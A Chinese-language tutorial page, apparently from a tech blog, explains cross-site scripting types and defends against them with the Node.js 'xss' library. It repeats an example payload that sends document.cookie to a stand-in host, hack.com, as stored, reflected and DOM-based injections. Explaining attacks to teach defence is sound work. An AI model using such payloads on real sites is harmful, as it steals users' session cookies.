怎么防止跨站脚本攻击(XSS)?
一、XSS 是什么?
跨站脚本攻击(Cross-site scripting,XSS)是攻击者向网站注入恶意脚本,等待用户访问网站并自动运行恶意脚本发起攻击的过程。不同的脚本可以实现不同目的:
- 盗用cookie,获取敏感信息。
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DoS攻击的效果。
二、XSS 分为3类
1、存储型(持久型)
攻击者把恶意脚本注入服务器并存储起来,等待受害者请求此脚本并在浏览器中自动运行。
使用场景:攻击者在评论区提交带有恶意脚本的评论,如果服务器检查不出恶意脚本,那么此恶意评论会被存入服务器数据库,下一个用户访问时,评论会被自动获取并展示,其中恶意脚本也被自动运行了。
// 在评论区,直接把下面的内容提交,如果服务器不做检查,下面内容就被存入服务器数据库 <script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
2、反射型(非持久型)
通过用户点击恶意链接,获取用户已登录的会话cookie。
http://www.example.com/transfer?s=<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
3、DOM 型
在用户浏览的页面中直接注入代码。
实例:HTML中有个锚的功能,也就是通过
#id
来实现当页面的跳转。# 下面链接表示打开页面,并把 id 为 doc 这个元素滚到页面最上面 http://www.example.com/#doc# 把 doc 换成 脚本,再访问此页面,意味着脚本会被自动执行 http://www.example.com/#<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script># 备注:此实例只是解释说明用,目前浏览器早就屏蔽了这样的漏洞。
三、怎么防止 XSS 攻击?
XSS 来源于用户提供的内容,只要过滤掉其中的恶意代码即可,Node.js 项目中推荐使用 xss
库来完成这个工作。
// 1、安装
npm install xss// 2、使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);
- xss - 官网
四、xss 相关工具
xsshunter - 记录XSS攻击者的ip等详细信息
XSStrike - 扫描网站的 XSS 漏洞
五、参考文档
- 怎么防止跨站脚本攻击(XSS)?
怎么防止跨站脚本攻击(XSS)?相关推荐
- 跨站脚本攻击XSS:为什么cookie中有httpOnly属性
跨站脚本攻击XSS:为什么cookie中有httpOnly属性 通过上篇文章的介绍,我们知道了同源策略可以隔离各个站点之间的 DOM 交互.页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是 ...
- 跨站脚本攻击—XSS
XSS 介绍 XSS 是跨站脚本攻击(Cross Site Scripting)的简写,但是从首写字母命名的方式来看,应该取名 CSS,但这样就和层叠样式表(Cascading Style Sheet ...
- 「第三章」跨站脚本攻击(XSS)
批注[--] 表示他人.自己.网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL ...
- 跨站脚本攻击(XSS)FAQ
原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...
- [Web安全之实战] 跨站脚本攻击XSS
文章Points: 1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了. ...
- 跨站脚本攻击XSS(最全最细致的靶场实战)
一.XSS跨站漏洞 (1)XSS简介 网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...
- 跨站请求伪造(CSRF)+ 跨站脚本攻击(XSS)
一.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 X ...
- 跨站脚本攻击(XSS)详解
XSS简介 XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 一开始, ...
- 网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...
- 跨站脚本攻击 XSS原理
个人对XSS攻击的笔记 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加 ...
最新文章
- 从Matrix到这个idea
- c语言 long和short区别,5分钟读懂Android 中的toast short 和long的区别
- aix 查看目前java进程_问一个 AIX 的命令 ps -ef|grep java
- 成功解决 AttributeError: module 'tensorflow' has no attribute 'sub'
- scala创建并使用Enumerations
- Swing中的一些对话框
- 消息提示框-事件冒泡
- uuid java 重复_Java中使用UUID工具类生成唯一标志防止重复
- Python中的lamda表达式
- 西门子 Process Simulate学习笔记(一)
- 各纬度气候分布图_世界气候类型分布图高清版(世界气候分布高清地图)V1.0 免费版...
- 2020-12-30
- RGB888转换为RGB565格式
- 卫星导航信号结构变化的过去,现在和未来
- 解决微信小程序点击出现蓝色背景色问题
- N63043-郝子轩-第二周
- Web.config配置错误页
- Ext4.2 Gird
- 使用MobaXterm发布前端代码到服务器
- Authentication和Authrization(下)
热门文章
- 你也可以成为VTuber
- Doxygen文档生成工具
- 人类与计算机之间的围棋,柯洁:计算机说人类围棋全错?要尽我所有智慧终极一战...
- Foresight AI 创始人袁昌:搭建3D视觉数据平台,助推自动驾驶商业化
- Implicit 3D Orientation Learning for 6D Object Detection from RGB Images
- java 计算百分比值
- 应用回归分析(知识点整理)(二)
- php简历模板技能专长,php简历技能怎么写
- check-蓝鲸CTF hta,VMP
- 跟着黑马视频,Tomcat显示404的问题